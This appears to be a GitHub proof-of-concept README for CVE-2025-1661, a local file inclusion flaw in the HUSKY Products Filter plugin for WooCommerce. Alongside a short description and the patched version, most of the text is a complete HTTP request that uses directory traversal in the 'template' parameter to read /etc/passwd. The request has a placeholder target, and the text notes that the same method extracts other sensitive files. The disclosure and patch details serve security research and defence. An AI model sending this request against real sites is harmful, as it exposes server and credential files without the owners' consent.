muhammadwaseem29/cve-2025-1661HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion (LFI)
The HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion (LFI) in all versions up to and including 1.3.6.5 via the template parameter of the woof_text_search AJAX action.
This allows unauthenticated attackers to include and execute arbitrary files on the server, potentially leading to:
<= 1.3.6.51.3.6.6Update to version 1.3.6.6 or a newer patched version.
POST /wp-admin/admin-ajax.php?template=../../../../../../../etc/passwd&value=a&min_symbols=1 HTTP/1.1
Host: TARGET_SITE_HERE
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: YOUR_SESSION_COOKIE_HERE
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
action=woof_text_search&
4. If successful, the server will return the contents of /etc/passwd.
5. This can be used to extract other sensitive files from the server.
This PoC is for educational and research purposes only. Unauthorized testing against systems without permission is illegal and unethical. Always seek explicit authorization before conducting any security testing.